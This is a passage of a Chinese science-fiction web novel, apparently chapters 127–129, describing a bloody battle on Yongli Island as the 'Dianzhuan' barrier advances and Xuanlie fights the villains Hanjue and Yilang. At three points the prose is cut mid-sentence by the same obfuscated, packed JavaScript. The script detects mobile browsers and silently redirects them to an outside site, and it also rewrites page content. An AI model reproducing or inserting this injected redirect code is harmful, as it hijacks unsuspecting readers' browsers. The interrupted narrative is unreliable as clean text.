玄烈依稀辨听得到这是舜真和潼霜的声音,先是舜真卡顿地说着什么“谢谢你”、“耍威风”之类的话,随后是潼霜冷淡地问她:“这是在给我提醒吗……舜真……信任我……” 接着又是很长很长的抽搐故障声,夹杂着潼霜问舜真:“公司的事……需要帮忙……” 舜真回答:“有事……找你……” 短短三十秒的语音硬生生被杂音撑到了三分钟,玄烈边听边觉得像是有钢丝球在剐蹭他的大脑。 这条录音还不算晚,立马响起的又是老董事长舜延的声音。 一个嗓音清亮的男声问他:“如果有一天你不在了……舜氏的未来……你想交给谁?” 舜延那边停顿良久,才回复:“还是,交给小希……我放心,唉……小真这孩子……我怕……” 然后一切静止了。人们很难去区分这是录音内有意空下的间隙,或者是录音真的停止了。 那是看似漫长实则短促的凝滞,人们怒视着面前的人,舜真则只紧蹙着眉头,眼神不肯离开舜氏大楼半分,像是害怕警惕着接下来的事。 很快,舜氏大楼侧面一扇宽阔的超大屏被点亮,伴有似乎是故意为之的不和谐雪花闪点,让本就诡异的视频更显得像个鬼片。 黑白灰色中,是程炼给舜真改装手臂的监控录像。 程炼手法很好,没让太多血从舜真大臂迸出,只清清浅浅在她手臂下方的垫子上印了淡淡的一小片血迹。 监控本是没有声音的,设备卡闪发出的“咔咔”声就如是给这台手术的配乐,有种诡异的适配感。 突然,画面闪黑了,接着就是“嘭”的一声,像是谁在捶桌子。 屏幕再一次亮起,依旧是黑白片,却不算默片了,因为里面的人在说话。 她穿着灰色衣服,坐在白色背景前,身前有黑色的桌,眼里有盈盈泪水,手臂处非常细节地有意无意露出一点点血点,看上去也是黑色的。 她说:“你们不要相信她,她是假的,是他们为了统治永璃岛而假造的,我才是真的!救我——不要相信……” 屏幕最终黯淡下来,不再大发慈悲重播,不给人们细细品摩与思考的机会。 “解释解释吧,舜总!” 男人牙齿都快咬碎了,舜真双眼仍被那黑掉的屏幕所禁锢,颤抖着无论如何也挪不开视线。 说不上害怕,算是意料之中,但亲眼相见还是觉得压抑。 舜真无话可说。 玄烈猛地眨了好几下眼睛才移走了目光,他猛然看向人潮的那边,舜真也还在望着这个方向。 遥遥又站了出来,“眼见就一定为实吗?换脸你们不知道吗?AI你们不知道吗……” “真的是假的吗!你为什么不回应!”男人斩断遥遥的话,直接向前一步逼问着舜真。 视频里她的叫喊犹在耳畔。太像了,声线也像,长得也几乎一模一样。 会有两个这样相像的人吗? 而且,真的是制作成的假视频吗?为什么还是总觉得哪里有一丝怪异呢? 视频里那个向众人求助的舜真比现在大家面前的舜真看上去要真实得多,但正如一条磁铁的两极,还是总有些不和谐的地方。 不一样,才显得真的更假,假的更真。 “进入颠转,进入……乌托邦……” 环绕音在头顶响起,玄烈抬头望。蓝天下,他看到数十架刻有涂云logo的无脑机械小型飞机在高空盘旋,不断播放着广告语。 后方,屏障移动的速度明显加快了,玄烈每眨一次眼睛便能看到屏障前进了一大步,早已越过市中心,穿过了舜氏前方一半的树林。那些被归纳到屏障背后的绿色全部被映成了仿佛只有阴曹地府才有的妖异蓝。 几架机械体从屏障后方飞来,他们背后还跟着几千个机器人士兵。为首的机械体扛着一面银色大旗。 大旗边角随风摇荡出海浪的波纹,离得越近,玄烈越能看得清旗上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266385|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那代表涂云的logo到底长什么样子。 简易波浪纹营造的海面之上,是一座边缘锋利的孤岛。孤岛顶尖翘,却被一道更为锐利的闪电斜着劈砍成两半,分裂的狭窄罅隙之间,灰色的云露出痕迹,阴影打在断岛边。 扛着大旗的琀珏高傲地飞在机械体群前列,广播声随着他的道来愈加清晰。 看着琀珏那副耀武扬威的样子,玄烈忽感一口气憋在心头。 机械体和军队刚落了地,琀珏还悬停在半空之时,一颗子弹从人群边窜出,直直向琀珏飞去。 琀珏扛着旗子的身体一歪,躲过了子弹,却直接被激怒了。他愤而看向子弹射来的方向,正看到玄烈甩出库星锥,同样一脸恨意瞪着他。 看似柔软轻薄如绸缎的旗子被琀珏用力一扬,其制造出的强风掠倒了边上一大片人。玄烈也猛地将库星锥扔出,毫不畏惧地径直向琀珏扎去。 库星锥尚未到达琀珏身边,一个人影便从琀珏身后跃出,一头扎向玄烈。 感受到危胁和越来越强势的压力和风,玄烈迅速将双臂挡在身前,但还是不可避免地被对方狠狠推出几十米。 二人一齐杵在沙滩上,顿时沙尘飞扬,他们的身下也形成了一个直径有三四米的坑。 玄烈被沙迷住了眼,他赶忙边扇着身边的沙土边爬起身。灼琛的情况没比他好多少,估计是没有防备地吸了一大口沙,一时间咳个不停,咳得他直不起腰,玄烈都站起来了他还在咳。 自然不会惯着他,玄烈一脚就踹了过去,把灼琛踹到一边让他自己咳去。 此时没有收获的库星锥也灰溜溜飞了回来,伴随到来的是琀珏安稳落在沙滩上。 “进入颠转者,集团将有意想不到的福利赠予大家,时间越靠前奖励越丰厚哦。”琀珏目不转睛看着玄烈,口中吐出的话却是对人群说的。 他脸上没半点笑容,可笑意全在他眼睛里,“相反,如果大家被蒙蔽双眼想要做出抵抗的话,也要小心后果哦。” 琀珏话毕,几只涂云的机器人士兵便扛起枪“砰砰”几下,当场击毙了几个正连滚带爬要钻进舜氏运输船的平民。 枪声一响,人群便混乱起来。身份阶层年龄性别不一样的人们四处逃亡,脸上均是一样的恐惧。 那些舜氏机械体并非第一时间挺身而出营救人们,而是争相打斗起来。刀光刃影间,玄烈看到其中几只对自己人发起进攻的,正是方才在大厅对他动手的那些机械体。 在枪口和刀剑的逼迫下,已经有人被驱赶着进入了颠转。 大厦后方,两队A级黑寂军和三支普通黑寂军队伍也终于被召唤出来,火拼再次打响。 为什么只有这么少的黑寂军? 玄烈从人堆中瞟到正在跟着奋战的伏策。彼时他正被四只涂云士兵缠着,难以动弹。 “据说是托一位人工智能的忙,大批军队和部分确认过并未被策反的机械体前两天已经被偷运进颠转了,”被救出的伏策如是说,“我们是阻止不了颠转的,不如早到那头做准备。” 在伏策的提醒下,玄烈忽而想到那个名叫“福戒”的人工智能,和早已被投入颠转层的、被舜延称为“数码人”的三期斩翼军。 看来舜真早就做好了准备。玄烈正这么想的,“轰隆”的声音便突破枪声变得响烈。那是运输船开动的声音。 舜真没空和琀珏他们争个高下,而是在想办法击打涂云士兵,送人们上船离岛。 第一艘船启动,第二艘第三艘便跟着发动了。数架琀珏那方的机械体也跟着飞出海岸,誓要将船拦截打击。 玄烈举起库星就是几枪,一枪打中一只机械体的脚踝,一枪又中了另一只机械体的腰,而后又痛击了剩余机械体的后背、大腿、手腕等部位,击落两架,重创四架,成功让那飘摇小船颤颤悠悠驶远了。 127. 颠转开启(4) 但大批量的人群还在逃亡,他们眼见逃不出琀珏等人的包围圈,就开始拼死拼活涌在岸边挤来挤去,渴望尽快逃出生天。 汹涌人潮间,不算很大的运输舰艇也被人们挤得摇摇晃晃,在水面浮浮沉沉。确实是要逃的,晚逃一步真的就是要死了。 枪声接连作响,眨眼功夫就是无数合金小颗粒胡乱地飞。它们打在船壁的金属墙壁上发出银铃一般的声响,随之又弹来弹去,毫不留情地嵌入人们的血肉。 殷红的花朵比昙花还要转瞬即逝,但组成“花朵”的红色液体却化作了一抹风,将舰艇激起海浪与风交汇形成的水雾涂成了血色,在打打杀杀中荡啊荡。 很快,玄烈就闻到浓浓的一阵血腥味。一转眼,琀珏已然幽灵一般移到一个人类面前,抓着其包裹狠狠一拽,恰好把这人甩到正突突作响的枪口前,场面不慎惨烈。 涂云士兵们不知何时形成了机枪组,场面上大多数子弹都是从这里发射的,只有极少数出自黑寂军之手。 它们自入场便马不停蹄先帮舜真运送人类,这似乎也是舜真的命令。程炼则持着不知从哪摸出来的步枪,藏在破烂散架的废弃装甲车后,枪枪瞄准涂云普通士兵,弹无虚发。 眼尖的琀珏从人堆里抓出一个哭闹不停的小孩,看上去只有五六岁,身上满是血,看起来吓得不轻。 他饶有兴致地将孩子拎起并摔在地上,双手攒出一方透明的禁锢场,泡泡一样,一如那日他困住玄烈。孩子叫喊着爬起来要跑,却只能将屏障撞得“嗵嗵”响。 琀珏眼里搅弄晦暗不明的光亮,渐渐的,他手心里缓缓扬起寒凉的白光,那困住孩子的罩子也逐渐开始发青发紫。 玄烈反手抓着库星锥咬着牙要往上冲,但忽地被灼琛拦腰拽住。 他转身狠狠给了灼琛一肘击,却被拦了下来。下一秒玄烈就要上库星锥敲入灼琛天灵高,伏策突然出现,一个蛮牛冲撞就把灼琛铲到一边,二人厮打起来。 玄烈刚要回过头向琀珏发起进攻,就看到那罩子破了。 小孩连滚带爬钻进人堆,另一边,一抹浅粉色影子正和琀珏打得难舍难分。 五六枚小型暗器在场周飞旋,玄烈恰好捕捉到掠过他眼前的那一枚。 一朵略显干枯的向日葵,花瓣边缘在阳光和时间的作用下显现出典雅的绯色,花的两侧均插有长而尖、锋利异常的刀片。 十分眼熟,玄烈觉得自己一定在哪见过这种刃的碎片。 暗器仅在玄烈眼前晃过一秒后便撤走了,他隐约间看到拴着这暗器的,像是一条细细的钢索。 再将视线移到那两团跳动的身影上,玄烈明白了其间的一些细节。 此时绯篱正立在原地大口喘着气,她手里不再有那粗重的链条,取而代之是悬在她身边的那些漂亮精致的小玩意。 不知道她做了什么,琀珏一副被点燃的样子,一双眼怒视着绯篱,脚步缓缓靠近。 仔细一看玄烈才发现,琀珏脸侧竟被挑出一长长的口子,虽没见有多深,但还是在他脸上形成一条黑黑的阴影。 事到如今他们还是没见到琀珏的武器究竟是什么,亦或者说,那如同魔法一般的凭空囚禁术就是他的武器。 琀珏一掌砍向绯篱脖颈的同时,绯篱拼了命驱使那些精灵一样的花朵涌向琀珏的手,玄烈也瞅准机会迎了上来。 库星锥是蹭着琀珏的腰侧飞出去的,好在向日葵上那些锁链锁住了琀珏的手,玄烈紧紧攥拳朝着琀珏脸上就是一击。 虽然高科技武器威力大,但架不住拳头实在爽啊! 琀珏甩开绯篱束缚之时,玄烈向后撤了一大步,扛起库星对着琀珏“砰砰”就是两枪。 第一枪打偏了,第二枪正中琀珏锁骨。 可惜,那第二发子弹在钻入琀珏衣领后便再无反应,其对琀珏的影响基本不超过一个平平无奇的石子。 玄烈本是想发射染着他能量的火焰弹的,可那一刹那又怕其造成的爆炸炸到绯篱和周边的人们。 岂不是伤敌八毛,自损十万。 当下的情况容不得玄烈犹豫,他接着又朝琀珏打了近十发子弹,想着能不能一点点施以能量,把伤害范围压制在可控范围内。 但他子弹尚未抵达琀珏身边,便被扑面而来的纽扣雨给冲刷地连连后退。 连绵不绝的“乒乓”声在耳边震荡,砸得他浑身发麻,玄烈下意识将小臂挡在眼前。 玄烈随意伸手抓下一颗小圆片抓在手里。他没看错,真的是纽扣。 材质像是瓷的,形状如同荷包蛋,边缘不规则弯曲起伏,通体亮白色,不过指甲盖大小。 真的很像纽扣,可是正常的纽扣,中间只会有一个洞吗? 纽扣雨如暴风雪席卷而过,等风平浪静玄烈再抬起头,背后已是一片血肉模糊。 几乎有几百人在这场纽扣雨里被打成了筛子,一些不分敌我的舜氏机械体也惨死在这场攻击里,但更多的人有幸缩在了舜真身后。 她面色不改,将疏散人群的事交由遥遥去干,自己则站在广大群众身前。 舜真面前的地上扎着一柄深红色的量子短刀,边角板直而锐利,看样子就是当日砍掉程炼手臂地那一把。 以短刀为点,向后形成一环蓝幕盾一样的红色保护罩。罩子边缘,是堆成山的纽扣。 琀珏闷哼一声,他刚想开口说些什么,噼里啪啦的子弹从他身侧袭来。 那些子弹比他们日常使用的更小,几十发接着几十发,顿时便如同蝗虫过境。 琀珏只抬起胳膊挡着,任凭子弹镚到他身上,又像小石子一样掉落。 半晌功夫子弹打尽后,他才终于得空烦闷地抬眼,看着那挺加特林机枪后伏策的脸。 伏策的进攻倒不是毫无效果,涂云一些士兵曾想着和他硬碰硬,却全在中弹后倒地不起。 琀珏轻笑一声,连冲上去对伏策发起进攻都懒得,只抬抬手腕,指挥灼琛上。 但他的命令落空了,在他后面,灼琛正捂着破破烂烂的心口附身趴在地上,站都站不起来。 “少了炬衍你就变成废物了?”琀珏上前大力抓着灼琛的后领,将其拎拽起来。 灼琛面露苦涩,没有看琀珏,没有说话。 玄烈这才发现灼琛身上已经满是伤了,那藏在衣服下的皮肉,早已挫伤的挫伤,溃烂的溃烂。 这等伤势,绝非方才伏策造成的。 可能是韶赋修打的。失去了炬衍就意味着炬灼不再能够合体,那么剩下被撤去一半力量的灼琛,自然也就不再被看重。 废弃的棋子,只有庆幸自己没被抛弃的命。 一阵来自另一世界的阴风刮过,屏障已经逼到舜氏家门口了。 亮盈盈的水色幕后,又有几百上千只涂云士兵飞来,铁了心要把他们挤到死路上去。 轰隆几声粗犷深厚的低语后,舰艇终于载了满满一大片人出了海。 其实本不需要这么挤,只是相比起舰艇的铜墙铁壁,鲜少有人放心旁边那几艘小船的安全度。 那些士兵自然不肯任其就这么逃出他们的包围圈,全都举起枪打向缓慢行驶的舰艇。 剩余不过十几个人,他们大多很年轻,偶有一两个中年人,他们全都两手空空,包袱也不知混乱中托付给了什么人。 枪声大作,子弹毫不留情地飞向船上的人们。那些尚且为自己即将逃出生天庆贺而不知危险将近的人们,上一秒还长吁一口气感叹世事无常,下一秒就被子弹射穿了头颅。 一阵骚乱在舰艇上引燃,人们争相往子弹飞不到的船边跑,很多人就此被挤得跳下了海。 黑寂军收到命令开始与涂云士兵展开了激烈交火,勉强活下来、还有神智的机械体也加入了战斗,那些剩下的人们全都扑到那些士兵面前,用自己脆弱的小体格与那些机器人搏斗。 他们似乎是自愿守岛的,尽管他们的力量不敌对方五杆枪。 可能就是玄烈勉勉强强能理解的那一口气,淌尽自己最后的一滴血,为永璃岛留下他们曾经存在的烙印。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13278239|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 更有几架机械体追着舰艇飞了出去,玄烈握着库星锥准备要上,却被伏策拦了下来。 “那边我去,你负责这里。” 说着,伏策便收起自己手臂里带着的加特林机枪,眼里又开始蓄起隐隐射线,轻车熟路地跟随那群机械体飞去。 这边,琀珏看着那些重伤但仍侥幸存活的生命,拍了拍身上的灰尘,踏步走去要好好杀戮一番。 玄烈端起库星对着琀珏就又是一枪。 在琀珏被吸引来注意力时,舜真忽地出现,切断了玄烈与琀珏遥遥相望的视线,随之猛地蹬地,以快到只能看得到残影的速度向琀珏闪去。 一下子,便掐住了琀珏的喉咙,两个人顿时厮打起来。 一个看上去约摸有三十岁的女子是留下来的人类之一,她左腹已经中弹了,但仍趔趄地走着,走过玄烈身前。 她双眼发狠,直勾勾盯着她前面一只背对着她正和一只黑寂军搏斗的涂云士兵,手里攥着一枚玻璃碎片,不知是哪来的。 突然,“砰砰”两声响,玄烈忽感眼前一红,有液体飞溅,下意识闭上了眼。 再睁开眼睛,那女子已被两枪无情地钻穿了眉心。 玄烈抹了把脸上的血,一边灼琛端着枪正对准了他。 灼琛嘴角抽搐着,看不清他是笑了还是要哭,身体在颤抖,抓着枪的手也在抖。 而转眼间,绯篱手里的一柄葵刃便削向了灼琛耳朵。 尚不是说“谢谢你”的时候,玄烈转身又眼疾手快地同几只机械体杀在一起。 这些被策反的机械体大多是三代和四代,他们全部眼睛血红,躯体几度扭曲,只为了能最大程度消灭自己人。 琀珏带来的一些机械体尚要对玄烈进攻,却被这些已经妖魔化的机械体挡住了去路,不免有点厌烦。 于是玄烈刚劈里啪啦敲晕了两只舜氏机械体的脑袋,两方机械体又缠斗在一起,把玄烈给挤了出来。 “程炼!你丫还在就露个头!” 混乱的场上,舜真突然这么着大喊了一句。 但她的余音尚未散去,一团爆炸就在涂云士兵机枪组脚下爆发开来。不算大,可足以让一些人大吓一跳。 此时程炼随手挥挥空中弥漫的灰烟,拿着一小支遥控器从某处烟雾间走了出来,“这样节省点时间。” 此时玄烈忽地想到没见杨宁和向繁森的身影,转眼又觉得这两人肯定预先做好了一百零八个逃亡方案。要是真打起仗来,说不定溜得比刚捕捉上来的胖头鱼还熟练。 而且阿盼去哪了? 玄烈想起来,这几天他养伤时,阿盼鲜少来打扰他。 他觉得有点可惜,本想拉着阿盼说说心里话的,和从前一样。 半空中,舜真一个肘击狠狠敲向琀珏的耳朵,而琀珏预判了半天也没躲过去。虽没伤及他命脉,却着实是将他激怒了。 那颗纽扣已隐隐地在琀珏掌心跳动,他稳稳落地,脸上有几处擦伤,倒还是一副隔绝世界的表情。 望着他手里的纽扣,玄烈暗自握紧了库星锥,在想如果再来一场“雨”,是召唤出库星锥幻影好,还是用库星营造一场爆炸好。 这时,已经移动到琀珏身后的颠转屏障,停止了前进,一个人影缓缓从水面一样的屏障浮出。 他不是蛮横地飞来的,而是如沉睡的石雕缓缓苏醒。 他肩并肩站在琀珏身侧,二人无声相视一眼,他笑了。 “琀珏,要我说,你也是废物一个。” 琀珏猛然紧紧攥紧拳,后又轻轻松开了手,那浮在他掌心的纽扣就像是被摁碎了,消散于空中。 “我说过,我讨厌不守时的人。你要是再迟到,我不会客气。”话毕,琀珏率先收回了目光。 那人犹如圣光附体,和那日玄烈见他的样子完全不一样。 本就稚嫩的脸庞更显新生感,还是一副人畜无害还欠揍的表情。 玄烈不禁皱了皱眉毛。 “仪琅,你不是死了吗?” 128. 颠转开启(5) 据说当时仪琅是惨死在了恪刹的手下,而他死后,第一碎片莫名就到了舜真的手里,再由纪凛烛代为安装到伏策手臂上。 玄烈越想越不明白,既然如此,仪琅又为何出现在韶赋修那一方? 他忽地想起当时第三阶段一对一比试的时候,谁对他说过的话。 仪琅在潼氏当过交换生。 或许自那时起他就完全被策反了! 仪琅干笑了几声,“你不懂,往往死了又复活的人,魅力值更大哦。” 玄烈微微侧身,余光扫描这场上的人,站在他这边的机械体还有十余只,而琀珏与仪琅那边的涂云机械体与舜氏机械体,加起来有三四十号人。 如果把大家手里的枪换成棍棒,就实实在在看起来像打群架的了。但是打群架也好,小范围热武器战争也好,这边的头号王座压根轮不到玄烈来坐。 舜真手里的刀消失了,她悄悄递了个眼神给遥遥和程炼,让他们先躲起来,见机行事,后缓缓走到玄烈身前。 “你们无法阻止颠转,如果你们还痴心妄想要夺回永璃岛,那么你们基本只有进入颠转一条路。要么像个丧家之犬一样溜走,我们可能大发慈悲对你们少开几枪。但你们最好留下几个人,否则我们回去不好交差啊。” 仪琅邪笑着说了这么一串的话,但忽然点醒了玄烈。 他盘算着时间,想来韶赋修也该做出下一步动作了。如果只是为了收复永璃岛剩余的土地和人,他大概率是不会把琀珏和仪琅一同派来的。 那么意味着不管他们抵抗成功与否,对方的目的都不完全是要将他们安稳带入颠转。 今天这个血流成河的地方,注定有人要留下,而这个人注定要死给玄烈看,像之前一样,注定要他痛苦。 痛则变。 这么想着,玄烈周身便莹莹亮起几十只小型库星锥幻影,他一手握着库星锥,一手紧紧掐着库星,眼神接连在琀珏和仪琅身上回转。 这下就不必再有顾虑了,该从谁开始下手呢? “玄烈、玄烈,”舜真低声叫着,“不要轻举妄动!” 但为时已晚,彼时的玄烈已经如离弦之矢一般飞了出去。无论如何也不给对方可乘之机。 暂不明仪琅的特殊能力是什么,玄烈便先将矛头对准了琀珏。他扬起库星锥就刺向琀珏,琀珏先是被他突如其来的进攻一下,旋即便轻盈跳转躲开了攻击。 库星锥上蓄满了玄烈掌心之火,通体散发着犹如满月清冷的辉光,光是从琀珏眼前闪过便燎得他眼睛发酸。 那些幻影一同朝仪琅飞去了,此时战斗突然被打响,双方全体力量再次激战在一起。 琀珏本想再用束缚之法困住玄烈,但好在玄烈提前做好了准备,看到有空气异常波动就会手起锥落先行将其砍断,以致琀珏三番五次都无法得逞。 眼见普通进攻无效,不顾自己手臂有被刺伤的风险,琀珏忽地大力推了一把玄烈,紧接着将右手伸向自己右眼眶。 不明所以的玄烈刚要接着上前,一团浑浊的“龙卷风”便擦着他的脸庞席卷而过,那是伏策正同某只装备精良的涂云机械体正鏖战。 伏策手里的大刀被对方蟹钳一样的手死死锁住,而对方也狠狠用牙咬住了伏策的肩膀,两个人揉成一团,打得难舍难分。 有舜真和绯篱在,仪琅一时难以抽身,看上去他的境况不比琀珏舒服多少。 移回目光,只听琀珏“咔”的一声便从眼眶中取出一枚硬币大小的纽扣,取而代之他的眼眶内空空如也,只剩一片黑到足以吸纳一切颜色的黑色深渊。 这颗纽扣比先前他使出的那些小家伙大不少,做工更精细些,更像实打实存在的物件。 琀珏手一挥,玄烈下意识以为又像之前那样会形成一片川流不息的纽扣银河。 不成想那枚纽扣只是瞬间飞移出去,一晃眼就不见。 后颈传来一丝凉意,玄烈刚要转头,那枚瞬移到玄烈身后的纽扣,便如同流星一般带着火烈的尾焰冲向玄烈的后背。 其附有的千钧之力竟带出方圆两米磅礴的起浪,在扎入玄烈后背那尚未愈合完全的伤口后,发出了“嘣喀”的声响。 玄烈被如此力量推得向前一仰,恍惚间他看到琀珏仿佛笑了,紧接着便是狠戾的重重一拳砸向玄烈脸侧。 仿佛是孩子气的回击,琀珏这一下施的力和玄烈给他的那一拳差不多,疼痛程度论起来还不及背后那颗纽扣的十分之一。 不过也正是这一趔趄,玄烈趁此功夫将纽扣从他后背扣了出来。 这枚纽扣中间的孔竟不是空的!而是嵌着一颗黑水晶一样的石头。石头精润透亮,看得玄烈心里只发麻。 玄烈看它的同时,石头上映着的金色亮光,也像是在盯着他。 意识到自己正被这破石头看着,玄烈抓着其就用力砸向地面。结果可想而知,纽扣落地之前就被琀珏召唤回去了。 很好,这个破绽还算自然。玄烈暗想着,让自己再接再厉。 背后的伤令合住了一半的伤口再次崩裂,也同时让他五脏六腑震了三震,像是为后面更猛烈的伤敲山震虎。 场上仍然一片混乱,玄烈完全抽不出手顾其他。就在这片刻停歇的空当,又有将近十只机械体从屏障钻出,这时,舜氏本就所剩无几的机械体几乎被杀戮干净了。 另一边,仪琅发觉绯篱比舜真好对付一些,便使劲浑身解数逃脱开舜真的掌控,依旧用他袖管里抽出来的枪,一路追着绯篱打。 玄烈心想这样下去不是办法,拖到最后损伤最大的还是他们自己。 面对穷追不舍要给他颜色的琀珏,玄烈心生一计。 他在将库星锥挥舞成花的招式间,突然将另一手蕴满灼气,待琀珏躲闪之时一掌拍向了对方肩膀,自己则借力一蹬,足足后撤了一大步。 刹那间,玄烈将库星锥切换成库星,将那停在枪内的普通子弹换成了足以炸坏战机的爆炸弹。 迅速上膛,瞄准自己与琀珏中间的地面,扣下扳机。 摧残光球顷刻注满了人们眼眶,剧烈的声响从玄烈与琀珏身前发出,尽管人们已经习惯这三天两头的爆炸,但依旧不自觉暂停了各自的战斗。 琀珏因为在那短短瞬间替自己制造出一环保护罩而幸免被崩得太远,但玄烈确实百分百无防备,被那一炸闪得近乎是飞了出去,而后重重摔在地上。 烟尘与气浪中,琀珏轻轻浅浅咳了几声。 躺在地上的玄烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13291967|121494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本没给自己缓神的机会,迫使自己即刻站起来后,将库星瞄准琀珏与仪琅的大致方向,二话不说再次扣下扳机。 这次光球波及面积比前一个更大,对面三只涂云机械体都飞了出去,也成功打破了玄烈这边自己人的进攻步骤。 这下在场人都停了下来。 强忍着后背几分阵痛的玄烈一溜烟窜了出去,只留给人们一个灰扑扑的影子,闯进炽热灼烫余温尚未消逝殆尽的爆炸核心。 隔着满脑门的不解,和沙尘飘扬的巨团烟雾,他的身影就此消失在大家视线中。 隐匿在沙土里的玄烈尽量削弱自己行动发出的声,进而重新将烈火浇在库星锥上,对着迷雾那端的几人进行不要命的进攻。 余光瞟到有青蓝色焰影在面前扑朔跳动,仪琅突然笑了。 他以精准预判接下了玄烈劈砍而来的库星锥,进而反手将一柄红色小飞镖扎进玄烈胸膛。 玄烈吃痛地缩了下手,琀珏也成功发现时机,再一次将那纽扣召唤出来,以比之前只增不减的强势力量“嘭”的一声砸向玄烈锁骨。 纽扣带起的气波立刻将周围缓慢沉浮的烟尘驱散了,站在玄烈后面不远处的人们也看清了在这其中发生了什么。 如同被命运的手扼住喉咙,玄烈轻轻呜咽了一声。 借着他要往后倒的趋势,仪琅瞬时凑上前,将另一枚黑色的飞镖扎入玄烈心口后,更加猛地将他一推。 说不上是玄烈身体内部那些金属器官发出的嗡鸣声,还是仪琅那一掌击破空气发出的声音,总之站在后面的伏策和阿盼都以为玄烈碎了。 好在玄烈没有倒下,这一掌和琀珏的一击都在他设想内。 只是他至少以为仪琅世隔许久重新出山,至少能给他拍晕的。 还是玄烈高看他了。 总有莫名的“嗞嗞”声在耳廓飞,玄烈捂上心口才发现是仪琅的那两个飞镖。 其实根本不是飞镖,只是形状类似。两个后端皆隐约闪现着白紫的折线,有点像闪电。 玄烈预感不祥,正当他要仔细琢磨着把飞镖拔掉时,忽地,飞镖两端的电流猛烈聚合在一起,并在玄烈整个上半身爆出火花。 “呲啦……呲,砰——” 一道迅疾可怖的闪电犹如从万里外高空现世,轰然扎向玄烈心脏,暴力冲击令他忍不住后退了一步。 紧接着,电流四散,火星炸响,向外蔓延至五米处,形成了一道看不见边界的渐变色光束圆环。 被这一击震懵了的玄烈慢慢缓过神来,如他所感,心脏已经周遭的器官仿佛在电流作用下急速收缩又膨胀,内里火烫外部冰冷,时而颠倒。 害怕玄烈生命受损,伏策气不过刚要往前迈进,玄烈整个身体就被刺得剧痛起来。 他们行动的一分一毫都能够带动玄烈身边用电包裹的“场”,硬着头皮上的后果只能是让玄烈更受罪。 奇怪的是,自刚才开始,舜真收起的刀便再没用过, 预感一侧的绯篱也要有所行动,玄烈当即用他已经算是非常先进的大脑给在场自己人简短发了两个字。 “别动。” “别动啊,”仪琅抱着手臂笑着,“如果你们不想让他死的话。” 129. 颠转开启(6) 隐约不知道哪里发出有“咯吱咯吱”的声音,有点渗人,像是把牙齿咬碎了。 玄烈定定直立着,时而垂头看看。居然连他低头都能够搅乱这极不稳定而敏感的“场”,这一度让玄烈头疼。 他看着自己现在的样子,身上虽说有灰尘但也还算干净,方才打了那么半天也没有新添什么大伤。 就是这两支飞镖有点滑稽了,扎进皮肉的地方起先很是疼,现在却痒痒的。 刚刚绯篱刚要甩出葵刃就被迫停住了脚,现在那几只玲珑的暗器在悬在天上不敢动弹。 伏策则眼尾冒着火,他那眼里飘荡的徐徐微烟被玄烈捕捉到了,可能是想试试那激光射线能否突破束缚攻击对方。 玄烈只独自又给他发了一条,“别动。” “我们来玩个游戏怎么样?玩一二三,木头人。” 仪琅踏着浪荡公子一样的步伐晃荡着往前走。 “我只喊三遍,在我转过身之前碰到我、并且没有犯规的人,我保你们平安进入颠转。” 玄烈站在原地,仪琅像是才注意到他,“至于你嘛,如果能活到决出优胜者,我或许也能等你被抓进颠转的时候,大发慈悲承担一点点你的医药费哦。” 然而玄烈笑了,笑得比仪琅更大方。 等对面以为他吓得失心疯了的时候,玄烈突然强撑着往前迈了一小步。 这一步虽看上去轻如鸿毛,却成功让身边人吓了一跳。 “你——”伏策眉毛都皱成了螺旋环,“你不疼吗!” 能不疼吗?这一步刚一落地,就豆大的透明水珠从玄烈额角坠落到他脚边的地面,犹如针扎天灵盖,一阵清风从左耳钻入,又一路跌跌撞撞从后背的伤口划出。 还好,还能忍。 可当务之急是装出一副痛到撕心裂肺的表情,因为对面的琀珏还以为仪琅的阵法失效了,一时又想把手伸向眼眶来着。 不管怎么说,把纽扣当眼睛一样抠出来也太诡异了,玄烈不想看见第二遍。 他深深吞了一口气,装作被空气噎到却又窒息的样子,一只眼睛微微眯起一点。 之前多痛的时刻都经历过,所以装痛并不难。 正这样做着,玄烈又上前了一步。 忘却了自己的行动也会给玄烈带来痛苦,伏策心疼得上去就要抓他。他不懂不要紧,这一动更是把玄烈激得没血也要吐出血来。 “呃”声被从玄烈的嗓子眼挤出,这回是真的有点疼了,疼得他深沉又急速的大口呼吸起来。 “游戏还没开始,你着什么急呢?”仪琅呵笑了一声。 琀珏眼底一黯,像是感觉出来玄烈要做什么,“别再走了,想死不用这么难。” 玄烈抬起头,直视着琀珏,将彼此映进彼此的眼睛。他尽量用纯良和善的眼神看着他,他则像一只被冷漠无情锤炼十年的兔子,被划伤的脸庞上是禁止靠近的防备。 